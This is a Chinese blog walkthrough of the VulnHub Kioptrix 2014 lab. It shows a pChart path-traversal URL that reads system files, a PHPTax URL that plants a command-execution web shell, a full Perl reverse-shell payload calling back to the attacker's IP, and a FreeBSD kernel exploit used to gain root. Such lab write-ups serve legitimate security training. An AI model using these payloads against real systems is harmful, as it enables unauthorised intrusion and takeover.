当前位置： 首页 > news >正文

Vulnhub靶机：Kioptrix_2014

news 2025/9/14 14:42:16

一、介绍

运行环境：Virtualbox和vmware

攻击机：kali（192.168.56.101）

靶机：Kioptrix: 2014（192.168.56.108）

目标：获取靶机root权限和flag

靶机下载地址：https://www.vulnhub.com/entry/kioptrix-2014-5,62/

二、信息收集

靶机下载下来之后，直接运行使用nmap扫描检测不到IP地址

需要删除靶机原来的网卡，再重新添加网卡上去。

在这里插入图片描述

使用nmap主机发现靶机ip：192.168.56.108

在这里插入图片描述

使用nmap端口扫描发现靶机开放端口：22、80、8080

nmap -A 192.168.56.108 -p 1-65535

在这里插入图片描述

打开网站该网站是一个静态页面，查看源码发现隐藏信息：URL=pChart2.1.3/index.php

在这里插入图片描述

访问pChart2.1.3/index.php，该页面CMS为pChart2.1.3

在这里插入图片描述

使用searchsploit搜索pChart2.1.3的历史漏洞，并将找到的结果导出、查看

在这里插入图片描述

发现一个任意文件读取漏洞

/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

在这里插入图片描述

浏览器访问，验证该漏洞

在这里插入图片描述

三、漏洞利用

在 FreeBSD 中，Apache HTTP 服务器的主配置文件安装为 /usr/local/etc/apache2x/httpd.conf，其中 x 表示版本号。

参考：https://fiercex.github.io/FreeBSD_Handbook_d2l/di-32-zhang-wang-luo-fu-wu-qi/32.8.-apache-http-fu-wu-qi.html

根据nmap扫描结果apache的版本为2.2.21，所以访问：http://192.168.56.108/pChart2.1.3/examples/index.php?Action=View&Script=/usr/local/etc/apache22/httpd.conf，查看靶机apache的配置文件，在文件发现配置，访问8080端口需要User-Agent为Mozilla/4.0

在这里插入图片描述

访问8080端口，禁止访问

在这里插入图片描述

我们User-Agent设置为Mozilla/4.0，发现一个目录phptax/

在这里插入图片描述

访问该目录，可以看到该网站CMS为PHPTAX

在这里插入图片描述

使用searchsploit搜索PHPTAX的历史漏洞，发现命令执行漏洞

在这里插入图片描述

将这几个exp导出，都尝试一下，查看25849.txt，里面有一个php的exp，加入设置User-Agent的代码，尝试执行发现报错。

直接查看php的exp源码，该exp访问两个url，来命令执行

访问http://192.168.56.108:8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E将命令执行代码写入rce.php

在这里插入图片描述

访问http://192.168.56.108:8080/phptax/data/rce.php?cmd=id执行id命令

在这里插入图片描述

使用perl反弹shell成功：http://192.168.56.108:8080/phptax/data/rce.php?cmd=perl%20-e%20'use%20Socket%3B%24i%3D%22192.168.56.101%22%3B%24p%3D4444%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B'

在这里插入图片描述

四、提权

使用命令uname -a查看系统的内核版本，为FreeBSD 9.0-RELEASE

在这里插入图片描述

使用searchsploit搜索该版本的历史漏洞

searchsploit FreeBSD 9.0

在这里插入图片描述

选用26368.c，使用web服务上传exp到靶机，但发现靶机没有wget命令

使用echo '''exp code''' > exp.c命令将exp代码写入靶机

在这里插入图片描述
在这里插入图片描述

将exp.c编译执行，得到root权限

在这里插入图片描述

参考链接：https://www.freebuf.com/column/211565.html

相关文章：

Vulnhub靶机：Kioptrix_2014

一、介绍 运行环境：Virtualbox和vmware 攻击机：kali（192.168.56.101） 靶机：Kioptrix: 2014（192.168.56.108） 目标：获取靶机root权限和flag 靶机下载地址：https://ww…...

编程日记 2024/3/21 22:51:53

Spring Boot整合Spring Security

Spring Boot 专栏：Spring Boot 从零单排 Spring Cloud 专栏：Spring Cloud 从零单排 GitHub：SpringBootDemo Gitee：SpringBootDemo Spring Security是针对Spring项目的安全框架，也是Spring Boot底层安全模块的默认技术…...

编程日记 2024/3/21 22:50:52

Rust字符串深入理解

一、概述 Rust是一种系统级语言，进行操作系统等底层应用开发，同时又具合理的抽象处理能力。在进行Rust编程时，字符串处理是程序员经常碰到的工作。本文深入解析Rust语言中字符串的使用，包括 static string，String与&a…...

编程日记 2024/3/21 22:47:49

TSINGSEE青犀AI智能分析网关V4酿酒厂安全挂网AI检测算法

在酿酒行业中，安全生产一直是企业经营中至关重要的一环。为了确保酒厂生产过程中的安全，TSINGSEE青犀AI智能分析网关V4的安全挂网AI检测算法发挥了重要作用。 TSINGSEE青犀AI智能分析网关V4的安全挂网检测算法是针对酒厂里酒窖挂网行为进行智能检测与识…...

编程日记 2024/3/21 22:44:45

LeetCode第126场双周赛个人题解

目录 100262. 求出加密整数的和 原题链接 思路分析 AC代码 3080. 执行操作标记数组中的元素 原题链接 思路分析 AC代码 100249. 替换字符串中的问号使分数最小 原题链接 思路分析 AC代码 100241. 求出所有子序列的能量和 原题链接 思路分析 AC代码 100262. 求出…...

编程日记 2024/3/21 22:43:43

牛客NC403 编辑距离为一【中等 模拟法 Java,Go,PHP】

题目 题目链接： https://www.nowcoder.com/practice/0b4b22ae020247ba8ac086674f1bd2bc 思路 注意：必须要新增一个，或者删除一个，或者替换一个，所以不能相等1.如果s和t相等，返回false,如果s和t长度差大于1…...

编程日记 2024/3/21 22:41:41

C# SetWindowPos函数

在C#中，SetWindowPos函数用于设置窗口的位置和大小。 原型： [DllImport("user32.dll", SetLastError true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int …...

编程日记 2024/3/21 22:40:40

zookeeper快速入门五：用zookeeper实现服务注册与发现中心

系列： zookeeper快速入门一：zookeeper安装与启动-CSDN博客 zookeeper快速入门二：zookeeper基本概念-CSDN博客 zookeeper快速入门三：zookeeper的基本操作 zookeeper快速入门四：在java客户端中操作zookeeper-CSDN博客…...

编程日记 2024/3/21 22:29:29

Java 中 BitSet 类的用法

Java 中 BitSet 类的用法 API构造置位为 true清除为 false查找位反转长度运算流其他 原理底层数据结构如何工作 API 构造 无参构造 ：默认为 64 个 bit 的容量 BitSet bitset new BitSet();有参构造 ：设置为 n 个 bit 的容量 BitSet bitset new BitSe…...

编程日记 2024/3/21 22:23:21

Jenkins-pipeline流水线构建完钉钉通知

添加钉钉机器人 在钉钉群设置里添加机器人拿出Webhook地址，设置关键词 Jenkins安装钉钉插件 Dashboard > 系统管理 > 插件管理，搜索构建通知，直接搜索Ding Talk也行 安装DingTalk插件，重启Jenkins 来到Dashboard > 系…...

编程日记 2024/3/21 22:22:20

汽车制造业供应商管理会面临哪些问题？要如何解决？

汽车行业的供应链是及其复杂的，并且呈全球化分布，企业在知识产权方面的优势很可能是阶段性的。企业需要持续保持领先，将面临巨大的挑战，尽快地将产品推向市场是保持领先的唯一途径。然而，如果没有正确的方式去实现安全…...

编程日记 2024/3/21 22:16:13

day28|93. 复原 IP 地址|Leetcode 78. 子集|90.子集II

Leetcode 93. 复原 IP 地址 链接&#xff1a;93. 复原 IP 地址 class Solution { public:vector<string> res;string path;int pointNum 0;vector<string> restoreIpAddresses(string s) {backtracking(0, s);return res;}void backtracking(int start, string …...

编程日记 2024/3/21 22:15:12

怎样提升小程序日活？签到抽奖可行吗？

一、 日活运营策略 小程序应该是即用即走的&#xff0c;每个小程序都在用户中有自己的独特定位&#xff0c;可能是生活日常必备&#xff08;美食、团购、商城&#xff09;&#xff0c;也可能是工作办公必备&#xff08;文档、打卡、工具&#xff09;。 如果你想要让自己的小程…...

编程日记 2024/3/21 22:13:10

hive语法树分析，判断 sql语句中有没有select *

pom依赖参考以下博文java 通过 IMetaStoreClient 取 hive 元数据信息-CSDN博客1 节点处理器类 import lombok.Getter; import org.apache.hadoop.hive.ql.lib.Dispatcher; import org.apache.hadoop.hive.ql.lib.Node; import org.apache.hadoop.hive.ql.parse.ASTNode; impor…...

编程日记 2024/3/21 22:11:07

【论文阅读】MSGNet：学习多变量时间序列预测中的多尺度间序列相关性

MSGNet&#xff1a;学习多变量时间序列预测中的多尺度间序列相关性 文献介绍摘要总体介绍背景及当前面临的问题现有解决方案及其局限性本文的解决方案及其贡献 背景知识的相关工作背景知识问题表述&#xff1a; Method论文主要工作1.输入嵌入和剩余连接 (Input Embedding and R…...

编程日记 2024/3/21 22:08:04

智慧城市与数字孪生：共创未来城市的智慧生活

目录 一、智慧城市与数字孪生的概念与特点 二、智慧城市与数字孪生共创智慧生活的路径 1、城市规划与建设的智能化 2、城市管理与服务的智慧化 3、城市安全与应急管理的智能化 三、智慧城市与数字孪生面临的挑战与对策 四、智慧城市与数字孪生的发展趋势与展望 1、技术…...

编程日记 2024/3/21 22:07:02

【Ubuntu】FTP站点搭建

配置顺序 前提条件&#xff1a;确保软件仓库可以正常使用&#xff0c;确保已正常配置IP地址 1.安装FTP服务 2.编辑FTP配置文件 3.设置开机自启 4.创建用户 5.配置用户限制名单 6.重启服务 7.查看运行状态 8.测试在同一局域网下的Windows查看文件 1.安装FTP服务 sudo apt insta…...

编程日记 2024/3/21 22:06:01

RK3228H is the same SoC as rk3328.

RK3228H is the same SoC as rk3328....

编程日记 2024/3/21 22:05:00

Golang 开发实战day04 - Standard Library

Golang 开发实战day04 - Standard Library 接下来开始我们第四天学习&#xff0c;Go语言标准库提供了丰富的功能&#xff0c;可以帮助开发者快速完成各种任务。 golang就像其他语言一样&#xff0c;附带了一些非常轻量级的函数和特性&#xff0c;都是开箱即用的&#xff0c;这里…...

编程日记 2024/3/21 22:02:57

程序员排查BUG指南

程序员排查BUG&#xff08;错误&#xff09;是软件开发过程中的重要一环, 以下是一份程序员排查BUG的指南&#xff0c;帮助你更有效地识别、定位和修复问题&#xff1a; 1、重现BUG&#xff1a;确保能够准确地重现BUG&#xff0c;这是解决问题的第一步。尽量记录重现BUG的步骤。…...

编程日记 2024/3/21 22:01:56

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…...

编程新知 2025/9/13 15:20:09

Android Wi-Fi 连接失败日志分析

1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分&#xff1a; 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析&#xff1a; CTR…...

编程新知 2025/7/17 12:52:44

OpenLayers 可视化之热力图

注&#xff1a;当前使用的是 ol 5.3.0 版本&#xff0c;天地图使用的key请到天地图官网申请&#xff0c;并替换为自己的key 热力图&#xff08;Heatmap&#xff09;又叫热点图&#xff0c;是一种通过特殊高亮显示事物密度分布、变化趋势的数据可视化技术。采用颜色的深浅来显示…...

编程新知 2025/7/6 21:38:30

应用升级/灾备测试时使用guarantee 闪回点迅速回退

1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间&#xff0c; 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点&#xff0c;不需要开启数据库闪回。…...

编程新知 2025/7/30 7:20:17

Xshell远程连接Kali（默认 | 私钥）Note版

前言:xshell远程连接&#xff0c;私钥连接和常规默认连接 任务一 开启ssh服务 service ssh status //查看ssh服务状态 service ssh start //开启ssh服务 update-rc.d ssh enable //开启自启动ssh服务 任务二 修改配置文件 vi /etc/ssh/ssh_config //第一…...

编程新知 2025/9/9 10:12:51

【解密LSTM、GRU如何解决传统RNN梯度消失问题】

解密LSTM与GRU&#xff1a;如何让RNN变得更聪明&#xff1f; 在深度学习的世界里&#xff0c;循环神经网络&#xff08;RNN&#xff09;以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而&#xff0c;传统RNN存在的一个严重问题——梯度消失&#…...

编程新知 2025/8/3 16:10:07

2024年赣州旅游投资集团社会招聘笔试真

2024年赣州旅游投资集团社会招聘笔试真 题 ( 满 分 1 0 0 分 时 间 1 2 0 分 钟 ) 一、单选题(每题只有一个正确答案，答错、不答或多答均不得分) 1.纪要的特点不包括()。 A.概括重点 B.指导传达 C. 客观纪实 D.有言必录 【答案】: D 2.1864年，()预言了电磁波的存在，并指出…...

编程新知 2025/7/25 10:29:46

工程地质软件市场：发展现状、趋势与策略建议

一、引言 在工程建设领域&#xff0c;准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具&#xff0c;正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...

编程新知 2025/9/9 8:26:07

AI书签管理工具开发全记录（十九）：嵌入资源处理

1.前言 &#x1f4dd; 在上一篇文章中&#xff0c;我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源&#xff0c;方便后续将资源打包到一个可执行文件中。 2.embed介绍 &#x1f3af; Go 1.16 引入了革命性的 embed 包&#xff0c;彻底改变了静态资源管理的…...

编程新知 2025/9/9 18:41:56

python执行测试用例，allure报乱码且未成功生成报告

allure执行测试用例时显示乱码&#xff1a;‘allure’ &#xfffd;&#xfffd;&#xfffd;&#xfffd;&#xfffd;ڲ&#xfffd;&#xfffd;&#xfffd;&#xfffd;ⲿ&#xfffd;&#xfffd;&#xfffd;Ҳ&#xfffd;&#xfffd;&#xfffd;ǿ&#xfffd;&am…...

编程新知 2025/9/9 10:10:36